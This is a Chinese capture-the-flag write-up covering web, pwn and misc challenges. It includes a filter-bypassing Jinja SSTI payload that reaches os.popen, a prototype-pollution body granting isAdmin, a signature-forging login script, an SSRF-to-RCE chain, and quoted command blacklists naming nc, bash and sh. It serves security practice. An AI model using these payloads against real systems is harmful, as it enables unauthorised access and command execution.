web-星愿信箱
ssti,过滤了{{}}
,使用{%%}

payload
1 2 3 4 5 6
| {%set x=config.update(g="__globals__")%} {%set x=config.update(c=config.update)%} {%set x=config.c(f=lipsum[config.g])%} {%set x=config.update(o=config.f.os)%} {%set x=config.update(p=config.o.popen)%} {%print(config.p("nl /f*").read())%}
|

web-nest_js
爆破账号密码

登陆进去直接给

web-多重宇宙日记
来到首页注册一个账号进去
查看源代码

提示要修改isAdmin
1 2 3 4 5 6 7 8 9
| { "settings": { "theme": "1", "language": "1", "__proto__": { "isAdmin": true } } }
|

出现管理员面板

web-easy_file
爆破账号密码,由于前端进行了base64编码,所有也得跟着


浏览器修改PHPSESSID=a278534b9cf6a2c67dfcd004127f0d74访问admin.php
是一个文件上传点

经过测试,后缀只允许txt与jpg,内容不能含有<?php
上传一个1.jpg

使用arjun爆破参数,发现有个file参数

存在文件包含

拿到flag

web-easy_signin
直接进去403

dirsearch扫目录发现有login.html

进去后查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <script> const loginBtn = document.getElementById('loginBtn'); const passwordInput = document.getElementById('password'); const errorTip = document.getElementById('errorTip'); const rawUsername = document.getElementById('username').value;
loginBtn.addEventListener('click', async () => { const rawPassword = passwordInput.value.trim(); if (!rawPassword) { errorTip.textContent = '请输入密码'; errorTip.classList.add('show'); passwordInput.focus(); return; }
const md5Username = CryptoJS.MD5(rawUsername).toString(); const md5Password = CryptoJS.MD5(rawPassword).toString();
const shortMd5User = md5Username.slice(0, 6); const shortMd5Pass = md5Password.slice(0, 6);
const timestamp = Date.now().toString();
const secretKey = 'easy_signin'; const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
try { const response = await fetch('login.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Sign': sign }, body: new URLSearchParams({ username: md5Username, password: md5Password, timestamp: timestamp }) });
const result = await response.json(); if (result.code === 200) { alert('登录成功!'); window.location.href = 'dashboard.php'; } else { errorTip.textContent = result.msg; errorTip.classList.add('show'); passwordInput.value = ''; passwordInput.focus(); setTimeout(() => errorTip.classList.remove('show'), 3000); } } catch (error) { errorTip.textContent = '网络请求失败'; errorTip.classList.add('show'); setTimeout(() => errorTip.classList.remove('show'), 3000); } });
passwordInput.addEventListener('input', () => { errorTip.classList.remove('show'); }); </script>
|
抓包放包发现提示账号错误,所以爆破账号


得到密码admin,爆破密码

密码为admin123
根据过程写出脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import hashlib import time import requests
proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080' }
def calculate_md5(text): return hashlib.md5(text.encode()).hexdigest()
def generate_signature(username_md5, password_md5, timestamp): ## 提取前6位字符 short_user = username_md5[:6] short_pass = password_md5[:6] ## 拼接签名原料 raw_string = f"{short_user}{short_pass}{timestamp}easy_signin" ## 计算MD5签名 return calculate_md5(raw_string)
def login(username, password): ## 计算凭证哈希 username_md5 = calculate_md5(username) password_md5 = calculate_md5(password) ## 生成时间戳(毫秒级) timestamp = str(int(time.time() * 1000)) ## 生成签名 signature = generate_signature(username_md5, password_md5, timestamp) ## 构造请求参数 data = { "username": username_md5, "password": password_md5, "timestamp": timestamp } headers = { "X-Sign": signature, "Content-Type": "application/x-www-form-urlencoded" } ## 发送登录请求 try: response = requests.post( "http://node6.anna.nssctf.cn:23507/login.php", ## 替换为实际地址 data=data, headers=headers, timeout=10, proxies=proxies, verify=False ) ## 处理响应 if response.status_code == 200: print("登录成功!") print("响应内容:", response.json()) ## 可在此处理cookies/session print(response.cookies) else: print(f"登录失败,状态码: {response.status_code}") print("错误信息:", response.text) except Exception as e: print("请求异常:", str(e))
if __name__ == "__main__": ## 使用示例凭证 login("admin", "admin123")
|

进入/dashboard.php

直接访问提示非本地用户

在之前发现了一个api

发现是一个快照

所以可以使用这个快照来实现ssrf访问backup/8e0132966053d4bf8b2dbe4ede25502b.php
拿到了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') { highlight_file(__FILE__);
$name="waf"; $name = $_GET['name'];
if (preg_match('/\b(nc|bash|sh)\b/i', $name)) { echo "waf!!"; exit; }
if (preg_match('/more|less|head|sort/', $name)) { echo "waf"; exit; }
if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) { echo "waf!"; exit; }
exec($name, $output, $return_var); echo "执行结果:\n"; print_r($output); echo "\n返回码:$return_var"; } else { echo("非本地用户"); }
?>
|
一个简单的ssrf加rce

发现一个可疑文件

payload
pwn-test_your_nc
(说是pwn,但好像是web)
源码
1 2 3 4 5 6 7 8 9 10 11 12 13
| ##!/bin/python3 import os
print("input your command")
blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']
while True: command = input() for i in blacklist: if i in command: exit(0) os.system(command)
|
使用变量拼接命令即可

misc-灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄
直接找到出题人github,灵感菇编码解就好了

misc-Cropping
下载一个压缩包是一个伪加密,随波逐流可以直接解

解压后有100张二维码碎片

使用magick拼
1
| magick montage *.png -tile 10x10 -geometry +0+0 flag.png
|
直接就可以扫,都省gaps去排列了

misc-像素中的航班
出题方为郑州轻工业,直接搜郑州到福州的航班,一共也就没几个,CZ8289
